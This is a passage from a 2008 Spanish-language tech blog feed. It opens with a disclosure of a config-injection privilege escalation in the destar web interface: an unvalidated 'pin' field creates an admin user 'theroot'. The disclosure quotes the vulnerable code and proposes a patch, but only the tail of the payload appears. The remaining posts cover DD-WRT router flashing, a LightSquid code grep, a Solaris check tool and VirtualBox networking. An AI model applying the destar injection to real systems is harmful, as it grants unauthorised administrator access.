True,<br /> )</blockquote><br /><br />Observen el codigo despues de la clave '1234' en el campo "pin".<br />Ese codigo lo que hace es conservar la estructura del archivo y asu vez, crear una nueva instancia (un nuevo usuario), que tiene level="3" (administrador).<br />si logramos hacer ese cambio ya podemos loguearnos como usuario <span style="font-style: italic;">theroot</span>, con clave <span style="font-style: italic;">theroot</span> y seremos administradores de destar.<br /><br /><span style="color: rgb(255, 153, 0);">Recuerden que para esto es indispensable acceso como usuario sin privilegios.</span><br /><br />La parte vulnerable del código es:<br /><blockquote> 87<br />88 if form["pin"]:<br />89 phone.pin = form["pin"]<br />90 try:<br />91 if form["secret"]:<br />92 phone.secret = form["secret"]<br />93 except KeyError:<br />94 pass<br />95 backend.updateConfiglet(phone)<br />96 try:<br />97 backend.createPythonConfig()<br />98 except IOError:<br /></blockquote><br />En el archivo: <span style="font-style: italic;">page_user_settings.ptl</span>, linea 89, donde no hay ninguna validacion para el valor del campo <span style="font-style: italic;">"pin"</span> que se toma del formulario.<br /><br />Un posible parche es verificar cada parametro que se recibe de los formularios antes de insertarlos en los archivos. O sea modificar el metodo updateConfiglet() de la clase ConfigletTree en el archivo configlets.py.<br /><br />Aunque no se si eso hace parte de Quixote o de destar.<br />Sin embargo en el codigo de destar tambien se podria hacer algo (preventivo).<br /><br />Una vez ejecutamos el exploit podemos ingresar a la interfaz y obtener lo siguiente:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_qAkKS-aUuQk/R-Xgex-ZdqI/AAAAAAAAAP4/acz4bsLseco/s1600-h/admin.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_qAkKS-aUuQk/R-Xgex-ZdqI/AAAAAAAAAP4/acz4bsLseco/s320/admin.png" alt="" id="BLOGGER_PHOTO_ID_5180793765775373986" border="0" /></a><span style="font-weight: bold;"><br />El PoC lo pueden encontrar en los archivos de este blog --></span><br /></div>! Happy Hacking !nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-6904363661408169472008-03-14T17:15:00.004-05:002008-03-14T18:05:48.768-05:00Flashing the WRT54G v.8 AP<div style="text-align: center;"><span style="font-weight: bold;"><span style="font-size:180%;">W R T 54 G v. 8</span><br /><br /></span></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_qAkKS-aUuQk/R9r5oOFg6fI/AAAAAAAAAMU/xrE-YWzCZh4/s1600-h/WRT54G.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_qAkKS-aUuQk/R9r5oOFg6fI/AAAAAAAAAMU/xrE-YWzCZh4/s400/WRT54G.jpg" alt="" id="BLOGGER_PHOTO_ID_5177725190987114994" border="0" /></a><br />Hace tiempo que no reflasheaba un AP, porque no habia tenido la necesidad, me he mantenido hace mucho con el firmware <a href="http://www.polarcloud.com/tomato">tomato</a> porque lo tengo en produccion (my internal network).<br /><br />El AP que necesitaba flashear esta en la version 8, un AP que ya no tiene antenas desmontables :( y que usa el firmware <a href="http://http//en.wikipedia.org/wiki/VxWorks">vxworks</a>.<br /><br />Los pasos son muy simples si eliges el firmware <a href="http://www.dd-wrt.com/">DD-WRT</a>, que hasta donde lei es el proyecto que tiene mas soporte y que si quiere el harware de bajos recursos ;)<br /><br />Los pasos basicamente estan descritos en esta pagina:<br /><a href="http://www.dd-wrt.com/phpBB2/viewtopic.php?t=20095">http://www.dd-wrt.com/phpBB2/viewtopic.php?t=20095</a><br /><br />Lo que se hace es decargar los archivos:<br /><ul><li>dd-wrt.v24_micro_wrt54gv8.bin</li><li>vxworkskillerGv8-v3.bin</li></ul>Uno es el firmware como tal y el otro es un "killer" para el firmware vxworks, porque lo primero que se hace antes de tener un nuevo firmware es eliminar el antiguo, por eso hay que cargar primero este antes de reflashear.<br /><br />Una vez estamos dentro de la interfaz del AP que tiene por defecto la IP 192.168.1.1, buscamos el panel de administracion y buscamos el enlace para hacer una actualizacion.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_qAkKS-aUuQk/R9r5ouFg6gI/AAAAAAAAAMc/QKaFXc6vwyA/s1600-h/normal.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_qAkKS-aUuQk/R9r5ouFg6gI/AAAAAAAAAMc/QKaFXc6vwyA/s400/normal.png" alt="" id="BLOGGER_PHOTO_ID_5177725199577049602" border="0" /></a><br />Seleccionamos el killer del vxworks y presionamos el boton de upgrade (aqui es donde da susto ...)<br /><br />Se empieza a actualizar (toma algun tiempo) ...<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_qAkKS-aUuQk/R9r5pOFg6iI/AAAAAAAAAMs/OQz2PUU_je0/s1600-h/upgrade.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_qAkKS-aUuQk/R9r5pOFg6iI/AAAAAAAAAMs/OQz2PUU_je0/s400/upgrade.png" alt="" id="BLOGGER_PHOTO_ID_5177725208166984226" border="0" /></a>Despues de un tiempo me da error y el AP se queda solo con un LED encendido (no se asuste).<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_qAkKS-aUuQk/R9r5puFg6jI/AAAAAAAAAM0/7tw1JprLJ8c/s1600-h/upload.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_qAkKS-aUuQk/R9r5puFg6jI/AAAAAAAAAM0/7tw1JprLJ8c/s400/upload.png" alt="" id="BLOGGER_PHOTO_ID_5177725216756918834" border="0" /></a><br />Despues de esto lo desconectamos (quitamos el cable de potencia) y lo volvemos a conectar, esperamos un ratico, todavia no funcionan los otros leds, entonces desconectamos nuevamente y preparamos la linea de comandos para reflashear:<br /><br /><span style="font-weight: bold; color: rgb(255, 0, 0);font-size:85%;" >[root@nonroot home]# tftp -m binary 192.168.1.1 -c put ./dd-wrt.v24_micro_wrt54gv8.bin </span><br /><br /><div style="text-align: center;"><div style="text-align: left;">Este comando lo que haces es definir el modo de transferencia a binario, y decirle al cliente tftp que ejecute la accion de subir datos (put), el archivo a subir es obviamente el firmware DD-WRT version 8.<br /><br />Cuando hagamos esto, esperamos un momento y volvemos a apagar el AP, nuevamente lo encendemos y verificamos que el led de WLAN encienda.<br /><br />Por ultimo podemos hacer ping a la IP del AP, que seguira siendo 192.168.1.1, si funciona, entonces todo estara bien, si no funciona, tendras que ir a los foros de DD-WRT e intentar lo que te digan para recuperar el AP.<br /><br />Verificamos que todo vaya bien, accediendo con un navegador a la IP del AP, donde tendremos que encontrar la interfaz web de configuracion del DD-WRT.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_qAkKS-aUuQk/R9sAPeFg6kI/AAAAAAAAAM8/4LkNt6a45OU/s1600-h/ddwrt.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_qAkKS-aUuQk/R9sAPeFg6kI/AAAAAAAAAM8/4LkNt6a45OU/s400/ddwrt.png" alt="" id="BLOGGER_PHOTO_ID_5177732462366747202" border="0" /></a><br /></div><span style="font-weight: bold;">FIN<br /><br /></span></div>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-348997682167553132008-02-03T01:11:00.000-05:002008-02-03T01:27:04.256-05:00LightSquid, a 30 seconds check<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_qAkKS-aUuQk/R6VcD36PgkI/AAAAAAAAAIk/3pEYr42jm-4/s1600-h/tittle.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_qAkKS-aUuQk/R6VcD36PgkI/AAAAAAAAAIk/3pEYr42jm-4/s400/tittle.png" alt="" id="BLOGGER_PHOTO_ID_5162633769467740738" border="0" /></a><span style="font-weight: bold;">''' Febrero 3 '''</span><br /><br /><span style="font-style: italic;">Segundo 0:</span><br />Esperando a que instale la aplicación LightSquid en el PfSenSe v1.2RC4, un poco aburrido con sueño.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_qAkKS-aUuQk/R6VcEX6PglI/AAAAAAAAAIs/zy-wID6776I/s1600-h/instalando.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_qAkKS-aUuQk/R6VcEX6PglI/AAAAAAAAAIs/zy-wID6776I/s400/instalando.png" alt="" id="BLOGGER_PHOTO_ID_5162633778057675346" border="0" /></a><br /><span style="font-style: italic;">Segundo 6:</span><br />Que tan segura será la aplicación?<br /><br /><span style="font-style: italic;">Segundo 10:</span><br />Descargo la aplicación y al temporal<br /><br /><span style="font-style: italic;">Segundo 14:</span><br /><br /><span style="font-size:85%;"><span style="color: rgb(153, 51, 0);">debian:/tmp/lightsquid-1.7.1# grep -i OPEN *.cgi</span><br /><span style="color: rgb(153, 51, 0);">bigfiles.cgi:open FF,"<$reportpath/$year$month$day/.bigfiles" || MyDie("cant' open .bigfile");</span><br /><span style="color: rgb(153, 51, 0);">day_detail.cgi:open FF,"<$daypath/.total";</span><br /><span style="color: rgb(153, 51, 0);">get.cgi:open F,"<","$tplpath/$templatename/$file" or MyDie("$!\n");</span><br /><span style="color: rgb(153, 51, 0);">graph.cgi: open FF, "<$daypath/.total";</span><br /><span style="color: rgb(153, 51, 0);">group_detail.cgi: open FF,"<$workday/.total" or MyDie("can't open file $workday/.total<br />");</span><br /><span style="color: rgb(153, 51, 0);">index.cgi: open FF,"<$daypath/.total" || MyDie("can't open file $daypath/.total<br />"); </span><br /><span style="color: rgb(153, 51, 0);">month_detail.cgi: open FF,"<$daypath/.total";</span><br /><span style="color: rgb(153, 51, 0);">topsites.cgi: open FF,"<$userpath";</span><br /><span style="color: rgb(153, 51, 0);">user_detail.cgi: open FF,"<$workday/$user" || MyDie("can't open $daypath/$user");</span><br /><span style="color: rgb(153, 51, 0);">user_detail.cgi: open FF,"<$reportpath/$year$month$day/.bigfiles";</span><br /><span style="color: rgb(153, 51, 0);">user_month.cgi: open FF, "<$daypath/.total";</span><br /><span style="color: rgb(153, 51, 0);">user_time.cgi: open FF,"<$workday/$user" || MyDie("can't open $workday/$user");</span><br /><span style="color: rgb(153, 51, 0);">whousesite.cgi: open FF,"<$userpath";</span><br /><span style="color: rgb(153, 51, 0);">debian:/tmp/lightsquid-1.7.1#</span></span><br /><br /><span style="font-style: italic;">segundo 18:</span><br />trix se desconecta misteriosamente, i'm alone here<br /><br /><span style="font-style: italic;">segundo 20:</span><br />sigo con sueño, pero algo me da mala espina.<br /><br /><span style="font-style: italic;">segundo 23:</span><br />one shot!.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_qAkKS-aUuQk/R6VcE36PgmI/AAAAAAAAAI0/pyCVVVD_tb0/s1600-h/error_check1.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_qAkKS-aUuQk/R6VcE36PgmI/AAAAAAAAAI0/pyCVVVD_tb0/s400/error_check1.png" alt="" id="BLOGGER_PHOTO_ID_5162633786647609954" border="0" /></a><br /><span style="font-style: italic;">segundo 26:</span><br />take some screenshots<br /><br /><span style="font-style: italic;">segundo 28:</span><br />cancelo la instalada de la aplicación<br /><br /><span style="font-style: italic;">segundo 29:</span><br />me preparo para irme a dormir y decido montar algo temporal en el blog<br /><br /><span style="font-style: italic;">segundo 30:</span><br />save the blog entry.<br /><br />bye<br /><br /><span style="font-style: italic;">nota1::</span> ... es mejor mantenerse ocupado en algo a altas horas de la noche ...<br /><span style="font-style: italic;">nota2::</span> soy un adicto a pensar inversamente<br /><span style="font-style: italic;">nota3:: </span>no lo hagan en casa<br /><span style="font-style: italic;">nota4:: </span>publicado por tiempo limitado y solo como PoC<br /><br /></div>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-16355918252122740322008-01-30T18:33:00.000-05:002008-01-30T18:45:05.220-05:00Check tool for Solaris<div style="text-align: center;"><span style="font-weight: bold;">''' ENERO 30 '''<br /><br /></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_qAkKS-aUuQk/R6EK6n6PgiI/AAAAAAAAAIU/wtSR9jf17Eo/s1600-h/check_tool2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_qAkKS-aUuQk/R6EK6n6PgiI/AAAAAAAAAIU/wtSR9jf17Eo/s400/check_tool2.jpg" alt="" id="BLOGGER_PHOTO_ID_5161418650205258274" border="0" /></a><br /></div><br /><div style="text-align: justify;">Me imagino que como yo alguien se preguntará si solaris corre en su maquina?.<br />Que hace uno si quiere saber si puede montar solaris y si solaris le reconocerá todos los perifericos y todo su hardware interno?.<br /><br />En el sitio de solaris hay una herramienta llamada <a href="http://www.sun.com/bigadmin/hcl/hcts/install_check_sx.html">Solaris Express Installation Check Tool 1.2,</a> esta herramienta es realmente un liveCD que carga una versión minima de solaris para hacer el chequeo de hardware correspondiente. Una vez hecho esto le da la facilidad al usuario de almacenar los resultados en una memoria USB.<br /><br />Esta entrada en este blog es para decir que lo baje, lo probé y no funcionó, no porque no diagnostique nada, solo porque nunca cargó el liveCD.<br />Lo probe en 3 maquinas diferentes + un virtual y en ninguna funcionó.<br />Sin embargo en esas maquinas tengo corriendo solaris, esa es la parte rara.<br />Uno de los errores fue este:<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_qAkKS-aUuQk/R6EK636PgjI/AAAAAAAAAIc/QeJMuljhX_4/s1600-h/error_check.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_qAkKS-aUuQk/R6EK636PgjI/AAAAAAAAAIc/QeJMuljhX_4/s400/error_check.png" alt="" id="BLOGGER_PHOTO_ID_5161418654500225586" border="0" /></a>SUN recomienda que antes de usar esta herramienta, visite el <a href="http://www.sun.com/bigadmin/hcl/">listado de compatibilidad de hardware</a>, donde podrá verificar si su HW esta soportado.<br />Si no lo encuentra, entonces use esta herramienta para saber si hay drivers en solaris oficiales que soporten su HW o si puede llegar a ser soportado por drivers de terceros.<br /><br />Mis tarjetas de red solo funcionan con drivers de terceros, pero eso ya era de suponerse, no son tarjetas de 10Gigas aprobadas por SUN, jeje.<br /></div><br />bye.nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-19586395649902843382008-01-26T22:37:00.001-05:002008-01-26T23:26:02.083-05:00VirtualBox rulx<span style="font-weight: bold;">''' ENERO 26 '''</span><br /><br /><div style="text-align: justify;">He probado varias aplicaciones de virtualizacion que permiten tener varios Sistemas Operativos corriendo en la misma maquina. Pero aún no habia trabajado con <a href="http://www.virtualbox.org/">http://www.virtualbox.org/</a>.<br /><br />Segun la wikipedia:<br /><br /><b>"VirtualBox</b> es un <a href="http://es.wikipedia.org/wiki/Programa_inform%C3%A1tico" title="Programa informático">programa</a> de <a href="http://es.wikipedia.org/wiki/Virtualizaci%C3%B3n" title="Virtualización">virtualización</a> creado por la empresa alemana de desarrollo de software <a href="http://es.wikipedia.org/w/index.php?title=InnoTek&action=edit" class="new" title="InnoTek">InnoTek</a> GmbH. El programa es comercial y propietario, si bien en enero de 2007, después de muchos años de desarrollo, se lanzó una versión limitada llamada VirtualBox OSE (Open Source Edition)<sup id="_ref-0" class="reference"><a href="http://es.wikipedia.org/wiki/VirtualBox#_note-0" title=""><span class="corchete-llamada">[</span>1<span class="corchete-llamada">]</span></a></sup> bajo licencia <a href="http://es.wikipedia.org/wiki/GPL" title="GPL">GPL</a>."<br /><br />Lo baje para debian, lo instale, instale luego el modulo especifico para la version del kernel para que pueda trabajar bien y me dedique hacer la prueba de montar 3 S.O. con los cuales hago pruebas continuamente (networking, prog., security, etc), la conclusion es que me ha funcionado muy bien.<br />tengo corriendo las 3 maquinas al mismo tiempo, conectadas a Internet y todo funciona de maravilla, no podria asegurar si sobre windows funciona igual, espero que si.<br /><br />Algo que todos queremos hacer es que todos los sistemas operativos se vean entre si, si no, no hay chiste. La forma de hacerlo es como lo haciamos en Qemu, generando interfaces de mentiras para luego conectar las maquinas virtuales a esas interfaces.<br /><br />Esas interfaces son mas conocidad como TAP o TUN si las creamos para trabajar en capa 2 o capa3 respectivamente.<br /><br />Como solo tengo una interfaz de red lo que hago es crear un puente y asociar a este puente cada dispositivo TAP que cree, de esa forma todos se conectan virtualmente por la misma interfaz de red.<br /><br />Despues de instalar los paquetes necesarios:<br /><br /><span style="color: rgb(102, 0, 0);font-size:78%;" >debian:~# dpkg -l | grep virtu</span><br /><span style="color: rgb(102, 0, 0);font-size:78%;" >rc virtualbox 1.5.4-27034_Debian_etch innotek VirtualBox</span><br /><span style="color: rgb(102, 0, 0);font-size:78%;" >ii virtualbox-ose 1.5.4-dfsg-4 PC virtualization solution</span><br /><span style="color: rgb(102, 0, 0);font-size:78%;" >ii virtualbox-ose-guest-utils 1.5.2-dfsg2-7 PC virtualization solution - guest utils</span><br /><span style="color: rgb(102, 0, 0);font-size:78%;" >ii virtualbox-ose-modules-2.6.22-3-k7 2.6.22+1.5.2-dfsg2-9 PC virtualization solution modules for Linux</span><br /><span style="color: rgb(102, 0, 0);font-size:78%;" >ii virtualbox-ose-source 1.5.4-dfsg-4 Source for the VirtualBox module</span><br /><span style="color: rgb(102, 0, 0);font-size:78%;" >debian:~# </span><br /><br />(si no le instalan agregue a su sources.list estos:<br />deb http://www.virtualbox.org/debian gutsy non-free<br />deb http://www.virtualbox.org/debian feisty non-free<br />deb http://www.virtualbox.org/debian edgy non-free<br />deb http://www.virtualbox.org/debian dapper non-free<br />deb http://www.virtualbox.org/debian etch non-free<br />deb http://www.virtualbox.org/debian sarge non-free<br />deb http://www.virtualbox.org/debian xandros4.0-xn non-free<br />)<br /><br />Ojo que el paquete de virtualbox del kernel, es para MI kernel, mire que version tiene usted.<br /><br />Luego puede montar un servidor DHCP, o si ya tiene uno en la red a la que esta conectado, entonces no tendrá problemas.<br /><br />y entonces cree las interfaces que necesita:<br /><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">debian:~# cat /bin/tap</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">insmod /usr/src/modules/virtualbox-ose/vboxdrv.ko</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">tunctl -t tap1 -u nando</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">brctl addbr br0</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">ifconfig eth0 0.0.0.0 promisc</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">brctl addif br0 eth0</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">dhclient br0</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">brctl addif br0 tap1</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">ifconfig tap1 up</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">tunctl -t tap2 -u nando</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">brctl addbr br0</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">ifconfig eth0 0.0.0.0 promisc</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">brctl addif br0 tap2</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">ifconfig tap2 up</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">tunctl -t tap3 -u nando</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">brctl addbr br0</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">ifconfig eth0 0.0.0.0 promisc</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">brctl addif br0 tap3</span></span><br /><span style="font-size:78%;"><span style="color: rgb(0, 0, 153);">ifconfig tap3 up</span></span><br /><br />Eso carga el modulo de VirtualBox y crea las interfaces TAP.<br /><span style="color: rgb(0, 51, 0);font-size:78%;" >debian:~# ifconfig</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" >br0 Link encap:Ethernet HWaddr 00:11:09:aa:8e:05</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > inet addr:192.168.0.3 Bcast:192.168.0.255 Mask:255.255.255.0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > inet6 addr: fe80::211:9ff:feaa:8e05/64 Scope:Link</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX packets:978622 errors:0 dropped:0 overruns:0 frame:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > TX packets:698648 errors:0 dropped:0 overruns:0 carrier:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > collisions:0 txqueuelen:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX bytes:1306696888 (1.2 GiB) TX bytes:78816225 (75.1 MiB)</span><br /><br /><span style="color: rgb(0, 51, 0);font-size:78%;" >eth0 Link encap:Ethernet HWaddr 00:11:09:aa:8e:05</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > inet6 addr: fe80::211:9ff:feaa:8e05/64 Scope:Link</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX packets:979067 errors:0 dropped:0 overruns:0 frame:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > TX packets:700312 errors:0 dropped:0 overruns:0 carrier:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > collisions:0 txqueuelen:1000</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX bytes:1320515471 (1.2 GiB) TX bytes:78982896 (75.3 MiB)</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > Interrupt:18 Base address:0xec00</span><br /><br /><span style="color: rgb(0, 51, 0);font-size:78%;" >lo Link encap:Local Loopback</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > inet addr:127.0.0.1 Mask:255.0.0.0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > inet6 addr: ::1/128 Scope:Host</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > UP LOOPBACK RUNNING MTU:16436 Metric:1</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX packets:60695 errors:0 dropped:0 overruns:0 frame:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > TX packets:60695 errors:0 dropped:0 overruns:0 carrier:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > collisions:0 txqueuelen:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX bytes:5488487 (5.2 MiB) TX bytes:5488487 (5.2 MiB)</span><br /><br /><span style="color: rgb(0, 51, 0);font-size:78%;" >tap1 Link encap:Ethernet HWaddr 00:ff:79:1c:47:d1</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > inet6 addr: fe80::2ff:79ff:fe1c:47d1/64 Scope:Link</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX packets:355 errors:0 dropped:0 overruns:0 frame:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > TX packets:941 errors:0 dropped:8670 overruns:0 carrier:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > collisions:0 txqueuelen:500</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX bytes:46028 (44.9 KiB) TX bytes:314573 (307.2 KiB)</span><br /><br /><span style="color: rgb(0, 51, 0);font-size:78%;" >tap2 Link encap:Ethernet HWaddr 00:ff:23:31:53:33</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > inet6 addr: fe80::2ff:23ff:fe31:5333/64 Scope:Link</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX packets:826 errors:0 dropped:0 overruns:0 frame:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > TX packets:2629 errors:0 dropped:7299 overruns:0 carrier:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > collisions:0 txqueuelen:500</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX bytes:65608 (64.0 KiB) TX bytes:714169 (697.4 KiB)</span><br /><br /><span style="color: rgb(0, 51, 0);font-size:78%;" >tap3 Link encap:Ethernet HWaddr 00:ff:95:34:65:97</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > inet6 addr: fe80::2ff:95ff:fe34:6597/64 Scope:Link</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX packets:266 errors:0 dropped:0 overruns:0 frame:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > TX packets:3010 errors:0 dropped:5071 overruns:0 carrier:0</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > collisions:0 txqueuelen:500</span><br /><span style="color: rgb(0, 51, 0);font-size:78%;" > RX bytes:35931 (35.0 KiB) TX bytes:700457 (684.0 KiB)</span><br /><br /><span style="color: rgb(0, 51, 0);font-size:78%;" >debian:~# </span><br /><br />Con las interfaces creadas ya puedo usar el VirtualBox para crear nuevas maquinas, con la diferencia que en la parte de redes puedo hacer algo así:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_qAkKS-aUuQk/R5wFHX6PghI/AAAAAAAAAIM/pnxNjmte5DQ/s1600-h/tap.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_qAkKS-aUuQk/R5wFHX6PghI/AAAAAAAAAIM/pnxNjmte5DQ/s400/tap.png" alt="" id="BLOGGER_PHOTO_ID_5160004897295270418" border="0" /></a><br />Seleccionas la opcion de Interfaz anfitrión y luego en el nombre de la interfaz le pones tap1, tap2 o la que sea. el resto de parametros de red no los tienes que configurar.<br />Con esa información puedes iniciar la instalación de la maquina y en el camino seleccionas que se configure por DHCP y listo.<br />Cuando termines de instalar estaras en red.<br /><br />Los sistemas que instale fueron:<br /></div><ol style="text-align: justify;"><li>Solaris-Expresssss 10/11</li><li>OpenBSD4.2-Release</li><li>WindowsXP-SP2</li></ol><div style="text-align: justify;"><br /><span style="font-style: italic;">El mas lento para instalar, obviamente Solaris, con 6 CD's. Pero una vez instalado funciona correctamente con el CDE y el JavaDesktop.</span><br /><br />#OFFTOPIC:<br /><br />Lo próximo es probar algo como:<br /><a href="http://www.sun.com/software/products/xvm/index.jsp">http://www.sun.com/software/products/xvm/index.jsp</a><br /><br />#FIN OFFTOPIC<br /><br />Porqué instalar VirtualBox?<br /></div><ul style="text-align: justify;"><li><span style="font-size:85%;">Es OpenSource</span></li><li><span style="font-size:85%;">Permite huespedes como Solaris, OpenBSD, NetBSD y FreeBSD, fuera de los WIndows</span></li><li><span style="font-size:85%;">Se maneja desde una interfaz gráfica en español con mucha usabilidad</span></li><li><span style="font-size:85%;">Es funcional, rápida, permite pausar, continuar, sacar screenshots organizados</span></li><li><span style="font-size:85%;">Corre en diferentes plataformas</span></li><li><span style="font-size:85%;">Soporta lo que hace Qemu, discos virtuales dinamicos por ejemplo</span></li><li><span style="font-size:85%;">etc.<br /></span></li></ul><div style="text-align: justify;">Prueben, con esas 3 maquinas ajusto 7 sistemas en red para "jugar".<br /></div>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-11266587232587424232008-01-26T17:21:00.000-05:002008-01-26T17:57:22.619-05:00¿ Default passwords OR honeypot ?<span style="font-weight: bold;">''' ENERO 26 '''</span><br /><br /><div style="text-align: justify;"><div style="text-align: justify;">Siempre se ha dicho que las claves por defecto pueden ser peligrosas, obviamete si alguien quiere abusar de ellas.<br /><br />Alguien anonimo me escribio y me mostro esto, nunca supe quien fue, no se que significa y no entiendo las implicaciones del caso. Lo unico que el me dice es que no hay que preocuparse tanto por la infraestructura en sí, que hay que preocuparse por los usuarios de esa red y los ataques de hombre en medio.<br />Pense acerca de eso y llegue a la conclusion de que es verdad, a muchas compañias fuera de su propia seguridad, le deberia interesar la seguridad de la informacion de sus usuarios.<br /></div><br /><span style="font-weight: bold;">ideas off topic:</span><br /><br />Los hotspots, estaran de moda mucho mas tiempo, los filtros para que solo accedan usuarios validos son vulnerables, las restricciones basicas estan mandadas a recoger, <span style="color: rgb(204, 0, 0);">JUNTAR redes administrativas y publicas en HOtspots vuelve el asunto mas HOT</span>.<br /><br />En resumen:<br />Cuando se conecte a un HotspoT, por favor verifique que 